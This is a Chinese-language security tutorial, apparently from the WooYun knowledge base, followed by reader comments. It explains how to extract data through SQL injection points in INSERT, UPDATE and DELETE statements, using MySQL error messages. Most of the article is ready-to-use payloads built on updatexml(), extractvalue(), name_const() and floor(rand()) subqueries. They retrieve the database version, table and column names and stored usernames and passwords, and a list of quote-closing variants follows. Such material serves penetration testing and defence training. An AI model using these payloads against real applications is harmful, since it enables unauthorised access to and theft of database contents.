利用insert,update和delete注入获取数据

0x00 简介


利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的。那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。

0x01 环境搭建


为了更好的演示注射效果,我们先利用下面的语句创建原始数据:

create database newdb;
use newdb;
create table users(
id int(3) not null auto_increment,
username varchar(20) not null,
password varchar(20)  not null,
primary key (id)
);
insert into users values(1,'Jane','Eyre');

enter image description here

看一下当前数据结构:

enter image description here

0x02 注入语法


因为我们这里是用的显错模式,所以思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:

insert into users (id, username, password) values (2,''inject here'','Olivia');
insert into users (id, username, password) values (2,""inject here"",'Olivia');

enter image description here

注意:大家看到本来是要填入username字段的地方,我们填了'inject here'和”inject here”两个字段来实现爆错,一个是单引号包含、一个是双引号包含,要根据实际的注入点灵活构造。

0x03 利用updatexml()获取数据


updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

payload:

or updatexml(1,concat(0x7e,(version())),0) or

Insert:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');

enter image description here

Update:

UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';

enter image description here

Delete:

DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';

enter image description here

提取数据:

由于篇幅有限,在insert、update、delete用法一致的时候,我会仅以insert为例说明。

所用的payload为:

or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or

获取newdb数据库表名:

enter image description here

获取users表的列名:

enter image description here

利用insert获取users表的数据:

enter image description here

利用delete获取users表的数据:

enter image description here

我们可以用insert、update、delete语句获取到数据库表名、列名,但是不能用update获取当前表的数据:

enter image description here

在这里,为了演示用update获取数据,我们临时再创建一个含有id,name,address的students表,并插入一条数据:

enter image description here

再次利用update获取users表的数据:

enter image description here

如果你碰到一个update的注入并且想获取当前表的数据的话,可用用双查询,我后面会讲到。

0x04 利用extractvalue()获取数据


extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。

payload:

or extractvalue(1,concat(0x7e,database())) or

Insert:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,database())) or'', 'Nervo');

enter image description here

update:

UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo';

enter image description here

delete:

DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or'';

enter image description here

提取数据:

同样,在insert、update、delete用法一致的时候,我会仅以insert为例说明。

获取newdb数据库表名:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 1,1))) or'', 'Nervo');

enter image description here

获取users表的列名:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) or'', 'Nervo');

enter image description here

获取users表的数据:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '', 'Nervo');

enter image description here

同样,我们可以用insert、update、delete语句获取到数据库表名、列名,但是不能用update获取当前表的数据。

0x05 利用name_const()获取数据


name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。

Payload:

or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or

Insert:

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo');

update:

UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';

delete:

DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';

提取数据:

在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。在这里我使用MySQL5.0.45进行演示。

首先,我们做一个简单的SELECT查询,检查我们是否可以提取数据。

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');

如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。。

如果显示ERROR 1060 (42S21): Duplicate column name '2',就可以进一步获取更多数据。

enter image description here

获取newdb数据库表名:

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name 'users'

获取users表的列名:

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name 'id'

获取users表的数据:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit
0,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name '1~Jane~Eyre'

0x06 利用子查询注入


原理与select查询时的显错注入一致。

Insert:

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or'', 'Nervo');

enter image description here

update:

UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo';

enter image description here

delete:

DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' ;

enter image description here

提取数据:

获取newdb数据库表名:

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '','Nervo');

enter image description here

获取users表的列名:

INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');

enter image description here

获取users表的数据:

INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');

enter image description here

0x07 更多闭合变种


' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "

0x08 引用


http://dev.mysql.com/

http://websec.ca/kb/sql_injection

from:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

©乌云知识库版权所有 未经许可 禁止转载


30
jglimmers 2016-04-13 12:46:36

@YOO name_const((SELECT 2),1)) 不可以那么用,要想有回显要用 name_const(2,1) 不用再加 select,所以就可以解释为什么 name_const( ( version()),1 ) 可以显示版本了.

30
F 2016-03-01 11:43:41

好吧我搞错了,5.0.77不可以

30
F 2016-03-01 11:34:52

mysql 5.0.77版本可以使用name_const

30
BeenQuiver 2015-08-21 14:37:23

@BeenQuiver 貌似在注入处写个中转脚本可以直接上sqlmap

30
YOO 2015-08-20 10:54:15

@YOO 格式乱了,再来

mysql> INSERT INTO users (id, username, password) VALUES (44,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');

ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

mysql> INSERT INTO users (id, username, password) VALUES (44,'Olivia' or (SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name '5.6.12-log'

30
YOO 2015-08-20 10:52:57

不能上图,只能贴结果了,关于那个name_const的,我本地实验“显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST”但还是可以获取信息:
mysql> INSERT INTO users (id, username, password) VALUES (44,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
mysql> INSERT INTO users (id, username, password) VALUES (44,'Olivia' or (SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a) or '', 'Nervo');
ERROR 1060 (42S21): Duplicate column name '5.6.12-log'

30
BeenQuiver 2015-08-11 10:33:56

吊吊吊

30
3ky7in4 2015-03-24 11:11:39

又开了几个脑洞,之前一直在想insert的时候肿么办?现在看来,凉拌就可以了

30
胡小树 2015-03-16 22:03:14

好文,

30
Hancock 2015-03-04 19:50:54

insert无错回显呢
在一个反馈功能里
mysql 5.0.11

30
syjzwjj 2014-12-24 23:37:15

恩,翻译的文章

30
风炫 2014-12-04 09:22:03

好文章。 ctf里出道这一题刚好可以用

30
小贱人 2014-06-13 18:05:45

已阅

30
饭粒重生 2014-06-09 00:57:31

是不错,但是基于XAMPP搭建的MYSQL环境对于 USERS表数据提取,都是和UPDATE那个一样,提取不出来。
#1093 - You can't specify target table 'users' for update in FROM clause

30
windhawk 2014-05-30 15:55:41

好文章 不晓得SQLMAP里面能否自动进行insert/update/delete的注入点检测

30
寂寞的瘦子 2014-05-29 23:23:20

这几个mysql函数非常不错。刚好遇到一个inset型注入,因为没有回显,还是采用各种时间盲注,非常蛋疼

30
livers 2014-05-29 10:09:58

我觉得挺不错的,insert update,delate 基本上就是报错和盲注,盲注在这些场景下有的利用稍显复杂

30
feng 2014-05-29 08:15:57

果然 多谢

30
luwikes 2014-05-28 20:32:50

以mysql爆错为例,是为了更简单的说明用法,事实上,使用的场景不局限于爆错

30
luwikes 2014-05-28 20:28:33

语法错误是不会有执行效果的,这也是用爆错注入做测试的原因

30
luwikes 2014-05-28 20:16:11

语法错误不会有执行效果的

30
luwikes 2014-05-28 20:13:08

30
luwikes 2014-05-28 20:08:34

mysql版本大于5.1.5才开始支持的,是不是你本地的版本太低?

30
xiaoL 2014-05-28 16:11:01

总的来说就是利用报错显示信息...

30
feng 2014-05-28 09:30:36

出现以下错误:
ERROR 1305 (42000): FUNCTION test.updatexml does not exist
请教怎么回事

30
Azui 2014-05-27 23:40:26

操作有风险,实施需谨慎!

30
maodun 2014-05-27 17:44:02

报错注入的技巧

30
xxx 2014-05-27 17:14:54

123

30
xxx 2014-05-27 17:14:25

操作有风险,实施需谨慎!

30
Lenwood 2014-05-27 16:10:18

隔壁王叔叔

感谢知乎授权页面模版